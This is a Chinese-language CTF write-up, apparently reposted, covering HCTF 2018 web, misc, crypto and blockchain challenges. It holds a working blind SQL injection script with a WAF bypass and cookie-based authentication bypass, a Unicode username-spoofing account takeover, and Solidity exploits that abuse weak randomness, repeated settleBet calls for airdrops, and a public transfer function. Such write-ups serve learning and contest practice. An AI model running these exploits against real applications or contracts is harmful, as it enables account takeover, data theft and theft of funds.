内容简介:刚好过双11,购物节,光棍节。这么多节日一起过,当然是蹲在电脑前,玩玩CTF啊。跟龙师傅一起玩了一下今年的 HCTF。排名第 20。真的太难了。强队太多了。比赛平台入口地址:
刚好过双11,购物节,光棍节。这么多节日一起过,当然是蹲在电脑前,玩玩CTF啊。
跟龙师傅一起玩了一下今年的 HCTF。排名第 20。真的太难了。强队太多了。
比赛平台入口地址: https://hctf.io/
Web - Warmup
Description warmup URL http://warmup.2018.hctf.io Base Score 1000.00 Now Score 10 Team solved 266
算是签到题吧。然后脑子坏掉了,想了挺久的。其实就是签到题的难度,很简单。
首先,网页源代码有两个关键点, /index.php?file=hint.php
是一个文件包含, source.php
是 index.php
的源代码。
hint.php
:
提示,flag 在 ffffllllaaaagggg
里
source.php
:
文件包含,有个检测,不过可以这样子绕过
猜测 flag 文件在根目录
Flag: hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}
Web - admin
Description ch1p want to have new notes,so i write,hahaha URL http://admin.2018.hctf.io Base Score 1000.00 Now Score 327.52 Team solved 40
任意注册一个帐号,并登录。
在 http://admin.2018.hctf.io/change
页面中能看到一段 HTML 注释,指向的是本项目的源代码地址。
<!-- https://github.com/woadsl1234/hctf_flask/ -->
在 app/templates/index.html
文件中我们能看到满足下述条件的时候就会输出 flag
{% if current_user.is_authenticated and session['name'] == 'admin' %} <h1 class="nav">hctf{xxxxxxxxx}</h1> {% endif %}
重点关注 app/routes.py
文件,在我们输入用户名的时候,都进行了类似 strlower(form.username.data)
的操作,这里我就很奇怪了,为什么不直接用 form.username.data.lower()
来转小写呢
观察这个函数
def strlower(username): username = nodeprep.prepare(username) return username
其中 nodeprep
来自 twisted.words.protocols.jabber.xmpp_stringprep
然后找到了这篇文章, Unicode 安全
大致意思是, nodeprep
会将 ᴬ
转换成 A
转换成 a
回到 app/routes.py
文件,在 register / login / change
这三个函数都有利用到这个有漏洞的函数
因此最后的思路是:
1. 注册 `ᴬdmin`,即注册了用户 `Admin` 2. 以用户 `Admin` 登录,即登录了 `admin` 用户 3. Get Flag
Flag: hctf{un1c0dE_cHe4t_1s_FuNnying}
Web - kzone
Description A script kid’s phishing website URL http://kzone.2018.hctf.io Base Score 1000.00 Now Score 361.29 Team solved 34
一个QQ空间钓鱼站,扫描网站目录,可以扫到源代码 /www.zip
进行代码审计,可以在 /include/member.php
里找到漏洞点
漏洞一: $admin_user
没有进行过滤,存在注入点。
漏洞二:弱类型判断,令 $login_data['admin_pass'] = true
,即可使等式成立,绕过密码验证。
可是 /include/member.php
不能单独加载,而 /include/common.php
会加载所有需要的 php 文件,包含 /include/member.php
,所以对 /include/common.php
进行注入即可。
另外, /include/common.php
也会加载 /include/safe.php
,这是一个 waf,会对 $_GET
/ $_POST
/ $_COOKIE
进行过滤。过滤函数如下:
function waf($string) { $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i'; return preg_replace_callback($blacklist, function ($match) { return '@' . $match[0] . '@'; }, $string); }
那么注入时,想办法绕过就可以了。
可是, member.php
没有回显,没有报错,而且延时注入的关键词也被过滤了。那么怎样知道注入成功呢?
我们可以根据返回头是否含有 set-cookie
置空,来判断 SQL 返回结果 $udata['username']
是否为空,进而确定是否注入成功(注入语句是否执行成功)。
我注入只能得到 flag
所在的表名 F1444g
,列名 f1a9
是猜解出来的。
贴一下注入脚本:
import requests import json from urllib import quote url='http://kzone.2018.hctf.io/include/common.php' def check(text): if 'islogin' in str(text): return True return False def inject_len(sql): length=0 for i in range(256): payload=sql % (i+1) data={'admin_user':quote(payload),'admin_pass':True} cookies={'islogin':'1','login_data':json.dumps(data).replace(' ','')} r=requests.get(url,cookies=cookies) if check(r.headers): length=i+1 break return length def inject_val(sql,length): kw='' for i in range(1,length+1): match=0 for j in range(0x20,0x80): tmp=chr(j)+kw payload=sql % (i,tmp.encode('hex')) data={'admin_user':quote(payload),'admin_pass':True} cookies={'islogin':'1','login_data':json.dumps(data).replace(' ','')} r=requests.get(url,cookies=cookies) if check(r.headers): kw=chr(j)+kw print kw match=1 break if match==0: print 'err' break return kw # get table_name from mysql.innodb_table_stats length=inject_len("admin'/**/and/**/(strcmp(length(right((select/**/table_name/**/from/**/mysql.innodb_table_stats/**/limit/**/0,1),256)),%d))/**/and/**/'1") print 'column length: %d' % length kw=inject_val("admin'/**/and/**/(strcmp(right((select/**/table_name/**/from/**/mysql.innodb_table_stats/**/limit/**/0,1),%d),0x%s))/**/and/**/'1",length) print 'table name: %s' % kw # get f1a9 from F1444g length=inject_len("admin'/**/and/**/(strcmp(length(right((select/**/f1a9/**/from/**/F1444g),256)),%d))/**/and/**/'1") print 'column length: %d' % length kw=inject_val("admin'/**/and/**/(strcmp(right((select/**/f1a9/**/from/**/F1444g),%d),0x%s))/**/and/**/'1",length) print 'flag: %s' % kw.lower()
最终得到 Flag
Flag: hctf{4526a8cbd741b3f790f95ad32c2514b9}
Misc - freq game
Description this is a eazy game. nc 150.109.119.46 6775 URL http://example.com Base Score 1000.00 Now Score 349.43 Team solved 36
题目只提供了一个 nc 地址。
输入 hint
可以得到程序的源代码,输入 y
运行这个程序。
贴一下这个程序的源代码:
程序是一个猜数字游戏,总共有 8 关,每关猜 4 个数字,猜错直接退出,猜对进入下一关,通关后输出 flag。
每关需要猜 4 个字节,总共 256^4=4,294,967,296
种情况,其中每关涉及 1500 个小数 4 次 sin
的运算,所以直接爆破不合理。
网上查了一下算法资料,找到 寻找和为定值的两个数
这个算法可以快速找到 数组里哪两个数的和为给定值
。那么,我们剩下两字节的数字,可以直接爆破,总共 256^2=65,525
种情况。
贴一下计算脚本:
from pwn import * import numpy as np import itertools io=remote('150.109.119.46',6775) io.sendlineafter('hint:','y') io.sendlineafter('token:','5UDJJ3940i4UbHizRdwlTihk682DvS2Y') def get_number(x, freq,rge): y = np.sin(2*np.pi*x*freq)*rge return y def find_sum(array, key): if len(array) > 0: array = sorted(array) start = 0 end = len(array) - 1 while start < end: result = array[start] + array[end] if result > key: end -= 1 elif result < key: start += 1 else: return [array[start], array[end]] return False def calc(): x = np.linspace(0,1,1500) t = eval(io.recvuntil(']')) table=range(256) res=[] for i in range(1500): res.append([]) for i in range(256): tmp=get_number(x,i,7) for j in range(1500): res[j].append(tmp[j]) match=0 idx=2 send='' for i in res[idx]: for j in res[idx]: if find_sum(res[idx],t[idx]-i-j)!=False: tmp=find_sum(res[idx],t[idx]-i-j) p1=res[idx].index(i) p2=res[idx].index(j) p3=res[idx].index(tmp[0]) p4=res[idx].index(tmp[1]) send='%d %d %d %d' % (p1,p2,p3,p4) match=1 break if match==0: print 'err' exit() print send io.sendline(send) for i in range(8): calc() io.interactive()
Flag:hctf{29c01049e3be114ff144328b08de519c8c0ee3ad48b6fb10a1ebbf49d2bee827}
Misc - eazy dump
Description you got it? backup1:https://pan.baidu.com/s/1X6xSV6Vn6J_F467P3zuoBw backup2:https://drive.google.com/file/d/1i17hd-kmUqpWvpzLiw3HYNwUz4ToBkq8/view?usp=sharing URL https://mega.nz/#!MRlVCagA!PO2-h65ioxi4id2mEHHmrKtqGBndgk_3jwHUmLlSkV8 Base Score 1000.00 Now Score 424.63 Team solved 25
一看题目,就觉得是内存取证题。以前的比赛遇过这种类型的题,可是不会解。
前段时间看过内存取证相关题目的 Writeup,了解到 volatility
可以对内存文件进行分析。
参考网上的 Writeup,基本上可以做出本题,这题并不难。
首先,检测内存文件所属的系统版本
套用对应系统版本的配置文件,列出进程列表
找到几个可疑的进程,然后导出对应进程的内存进行分析。
其实本题的 Flag 藏在 Windows 画板 mspaint.exe
里。那么导出该进程的内存,进行分析。
根据网上的 Writeup, mspaint.exe
导出的内存文件 .dmp
,需要改名为 .data
格式。然后使用 gimp
直接打开,可以分析出图像。
通过调整 Image Type
/ Offset
/ Width
/ Height
这几个参数到合适的值,我们得到一张图片。
对图片进行 垂直翻转
处理,就能看到 Flag。
Flag: hctf{big_brother_is_watching_you}
Crypto - xor game
Description This is an English poem, but it is encrypted. Find the flag and restore it (also you can just submit the flag). http://img.tan90.me/xor_game.zip URL http://img.tan90.me/xor_game.zip Base Score 1000.00 Now Score 138.66 Team solved 98
题目只提供了两个文件,加密脚本 challenge.py
,密文 cipher.txt
。
分析加密脚本 challenge.py
:
大致功能:一首诗 poem.txt
,与填充后的密钥 key
进行异或,得到密文 cipher.txt
。
我们目前已知, poem.txt
只可能是可见字符或者换行符, key
只可能是可见字符。 key
填充前的长度未知。
那么,我们可以写个脚本遍历所有可能的情况,逐步把 key
字符范围缩小,最后得到一个可能性比较大的结果。
然后根据得到可能性比较大的 key
,推算出 poem.txt
的部分明文。把明文贴网上查一下,查到这首诗是 泰戈尔 写的诗歌《生如夏花》。
将这首诗开头的两句话,与密文开头同样长度的字符串进行异或,得到填充后的正确密钥 key
。
截取不重复的部分(去除填充),然后加上 flag 格式,得到的就是 flag 了。
贴出解密所用到的代码:
from base64 import * from Crypto.Util.strxor import strxor table1=range(ord('a'),ord('z')+1) table1+=[ord('.'),ord(','),ord('-'),ord('_')] table2=range(0x20,0x7f)+[0x0a] r=open('cipher.txt').read() r=b64decode(r) keys=[] for length in range(1,65): key=[] for i in range(length): keyc=[] match=1 for j in table1: match=1 for k in range(len(r)/length): if (j ^ ord(r[k*length+i])) not in table2: match=0 break if match==1: match=j keyc.append(chr(j)) if len(keyc): key.append(keyc) if len(key)==length: keys.append(key) print 'keys count: %d' % len(keys) for i in range(len(keys)): print 'key %d length: %d' % (i+1,len(keys[i])) for j in keys[i]: print ''.join(j) raw="\nLife, thin and light-off time and time again\nFrivolous tireles" enc_raw=r[:63] key=strxor(raw,enc_raw) print '\nkey: %s' % key def dec(data, key): key = (key * (len(data) / len(key) + 1))[:len(data)] return strxor(data, key) print '\npoem.txt: \n%s' % dec(r,key) print '\nflag: hctf{%s}' % key[:21]
Flag: hctf{xor_is_interesting!@#}
Blockchain - bet2loss
Description 0x006b9bc418e43e92cf8d380c56b8d4be41fda319 for ropsten and open source D2GBToken is onsale. Now New game is coming. We’ll give everyone 1000 D2GBTOKEN for playing. only God of Gamblers can get flag. URL http://bet2loss.2018.hctf.io Base Score 1000.00 Now Score 735.09 Team solved 5
合约地址开源,可以在 Etherscan.io 上找到
合约有三个比较重要的函数, placeBet / settleBet / settleBetCommon
,前者是用户下注,中者是服务端开奖验证当前高度的,后者是服务端开奖的处理。
先分析一下 placeBet
函数,接受的参数比较多
uint betMask - 用户心里想的随机数 uint modulo - 倍数 uint betnumber - 下注额 uint commitLastBlock - 该 commit 有效的截止区块 uint commit - commit(见settleBet) bytes32 r - 验证 commit 和 commitLastBlock 是由服务器生成的参数 bytes32 s - 验证 commit 和 commitLastBlock 是由服务器生成的参数 uint8 v - 验证 commit 和 commitLastBlock 是由服务器生成的参数 commitLastBlock / commit / r / s / v 均来自与服务器的生成: http://bet2loss.2018.hctf.io/random
分析 settleBet
函数,可以知道 commit
的生成规则
uint commit = uint(keccak256(abi.encodePacked(reveal)));
分析 settleBetCommon
函数,可以知道服务器随机数的生成方式
bytes32 entropy = keccak256(abi.encodePacked(reveal, placeBlockNumber)); uint dice = uint(entropy) % modulo;
中奖的条件是 dice == mask
,即上面生成的弱伪随机数和倍数的余数等于我们猜的数。
我们想要中奖的话,只需要将 betMask
等于 dice
就好了。
dice
的取值来源于 reveal
和 placeBlockNumber
在每次用户 placeBet
之后,管理员 0xacb7a6dc0215cfe38e7e22e3f06121d2a1c42f6c
都会调用一次 settleBet
来公开用户提交的 commit
的来源(类似与 hash 的明文),观察了几个 settleBet
所公开的值,发现 reveal
的取值大概是 0-1000000000
。
这时候,我们知道了 reveal
,知道了 commit
的生成规则,当我们请求 http://bet2loss.2018.hctf.io/random
服务器返回了一个 commit
,我们就可以通过暴力遍历的方式,找到该 commit 对应的 reveal
。这样我们就控制了生成 dice
的一个参数。
reveal
解决了,接下来就是 placeBlockNumber
。
placeBlockNumber
在 167 行有定义
bet.placeBlockNumber = uint40(block.number);
他是等于当前的区块高度的,我们可以通过合约的方式,通过合约来调用合约,就可以知道当前的区块高度了。
思路理清楚了,现在我们可以控制中奖结果了,但是倍数最高 100 倍,下注的金额最高为 999 ,单次就可以得到 99900,重复 100 次左右就可以 Get Flag 了。
于是我写了生成 reveal
的成本,将缓存的结果保存在内存当中。
from eth_abi import encode_single import sha3 l = {} for i in range(100000000): abi = encode_single('uint', i) k = sha3.keccak_256() k.update(abi) commit = k.hexdigest() l[commit] = i print(i)
由于服务器内存有限,上述代码只生成了 100000000 条数据,就已经占用了接近 20G 的内存。虽然只是总数的十分之一,但是我们可以通过多次请求 /ramdon
的方式来取到我们缓存中的结果。
import requests def r(): while True: j = requests.get('http://bet2loss.2018.hctf.io/random').json() try: j['reveal'] = l[j['commit'][2:]] except BaseException: continue return j r()
然后我还写了合约,来计算 dice
的值,并把他当成 betMask
来提交给合约下注
pragma solidity ^0.4.24; contract B2LInterface { function placeBet(uint, uint, uint, uint, uint, bytes32, bytes32, uint8) public; function transfer(address, uint) public; } contract Hack { function a(uint betnumber, uint commitLastBlock, uint commit, bytes32 r, bytes32 s, uint8 v, uint reveal) public returns (uint) { uint placeBlockNumber = block.number; uint modulo = 100; bytes32 entropy = keccak256(abi.encodePacked(reveal, placeBlockNumber)); uint dice = uint(entropy) % modulo; B2LInterface(0x006b9Bc418E43E92CF8d380C56b8d4be41FDA319).placeBet(dice, modulo, betnumber, commitLastBlock, commit, r, s, v); } function b(uint x) public { B2LInterface(0x006b9Bc418E43E92CF8d380C56b8d4be41FDA319).transfer(0xRedacted, x); } }
就这样提交了一个执行之后,发现管理员不会理会来自合约的调用,这样就意味着我们得自己手动去 settleBet
这次下注,这样子本身计算 commit 就比较麻烦,然后还有再多一次要执行 settleBet
,算了算了。
继续审计代码, settleBet
函数认真看并没有判断这次 bet 是否已经领奖了,唯一的要求就是当前的区块高度不超过下注的区块高度加 250
此外,还需要主要到 settleBet
开奖的奖金是来自 msg.sender
的,见 218 行和 55 行;再注意到 settleBet
会调用 AirdropCheck()
,如果当前 msg.sender
是没有领过空投的话就给他 1000 。
这样就有了新的思路
我调用我的合约 A,我的合约 A 创造很多很多子合约 B 来调用官方合约 C 的 settleBet
函数,将子合约 B 领到的 1000 个空投转给我的合约 A,最后能拿 flag 的时候再从我的合约 A 中转账回我的帐号,我再去调用 getflag 函数
于是就改了一下代码,倍数 99,下注 10,拿空投的 990 刚好差不多:
pragma solidity ^0.4.24; contract B2LInterface { function placeBet(uint, uint, uint, uint, uint, bytes32, bytes32, uint8) public; function transfer(address, uint) public; function settleBet(uint) public; } contract B2L { constructor(uint reveal) public { B2LInterface(0x006b9Bc418E43E92CF8d380C56b8d4be41FDA319).settleBet(reveal); } } contract Hack { function a(uint betnumber, uint commitLastBlock, uint commit, bytes32 r, bytes32 s, uint8 v, uint reveal) public returns (uint) { uint placeBlockNumber = block.number; uint modulo = 99; bytes32 entropy = keccak256(abi.encodePacked(reveal, placeBlockNumber)); uint dice = uint(entropy) % modulo; B2LInterface(0x006b9Bc418E43E92CF8d380C56b8d4be41FDA319).placeBet(dice, modulo, betnumber, commitLastBlock, commit, r, s, v); } function b(uint x) public { B2LInterface(0x006b9Bc418E43E92CF8d380C56b8d4be41FDA319).transfer(0xRedacted, x); } function c(uint reveal, uint ccc) public { for (uint i=0; i<=ccc; i++) { new B2L(reveal); } } }
部署合约,调用了很久的合约,最后够钱了,拿 flag 走人。
Flag: hctf{Ohhhh_r3p1ay_a77ack_f0r_c0n7r4ct}
Blockchain - ez2win
Description 0x71feca5f0ff0123a60ef2871ba6a6e5d289942ef for ropsten D2GBToken is onsale. we will airdrop each person 10 D2GBTOKEN. You can transcat with others as you like. only winner can get more than 10000000, but no one can do it.
function PayForFlag(string b64email) public payable returns (bool success){ require (_balances[msg.sender] > 10000000); emit GetFlag(b64email, "Get flag!"); }
hint1:you should recover eht source code first. and break all eht concepts you've already hold hint2: now open source for you, and its really ez URL http://example.com Base Score 1000.00 Now Score 527.78 Team solved 15
合约地址开源,可以在 Etherscan.io 上找到
没开源时,一脸蒙;开源之后,这很简单。
215 行有函数 _transfer(address from, address to, uint256 value)
function _transfer(address from, address to, uint256 value) { require(value <= _balances[from]); require(to != address(0)); require(value <= 10000000); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); }
一看下划线开头是不是就以为是私有方法了,但默认不说明的就是 public
的,意味着谁都可以调用。
直接复制 ABI,直接调用这个方法,从管理员 0xacb7a6dc0215cfe38e7e22e3f06121d2a1c42f6c
的口袋给自己转足够的钱,然后就可以成功 Get Flag 了
如果你想要有点迷惑性的话可以走一遍自己的合约
pragma solidity ^0.4.24; contract D2GBInterface{ function _transfer(address, address, uint256) public; } contract Hack { function c(uint x) public { D2GBInterface(0x71feca5f0fF0123A60ef2871bA6a6e5D289942eF)._transfer(0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C,0xRedacted,x); } }
(吐槽一下第一次 PayForFlag 的时候居然没给我发 flag)
Flag: hctf{0hhhh_m4k3_5ur3_y0ur_acc35s_c0n7r01}
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- HCTF 2018 WriteUp
- 2018 HCTF web WriteUp
- hctf2018-web writeup
- HCTF 2018 Official Writeup
- HCTF2018部分Web题目Writeup
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Python自然语言处理
(英)伯德、(英)克莱因、(美)洛普 / 东南大学出版社 / 2010-6 / 64.00元
《Python自然语言处理(影印版)》提供了非常易学的自然语言处理入门介绍,该领域涵盖从文本和电子邮件预测过滤,到自动总结和翻译等多种语言处理技术。在《Python自然语言处理(影印版)》中,你将学会编写Python程序处理大量非结构化文本。你还将通过使用综合语言数据结构访问含有丰富注释的数据集,理解用于分析书面通信内容和结构的主要算法。 《Python自然语言处理》准备了充足的示例和练习,......一起来看看 《Python自然语言处理》 这本书的介绍吧!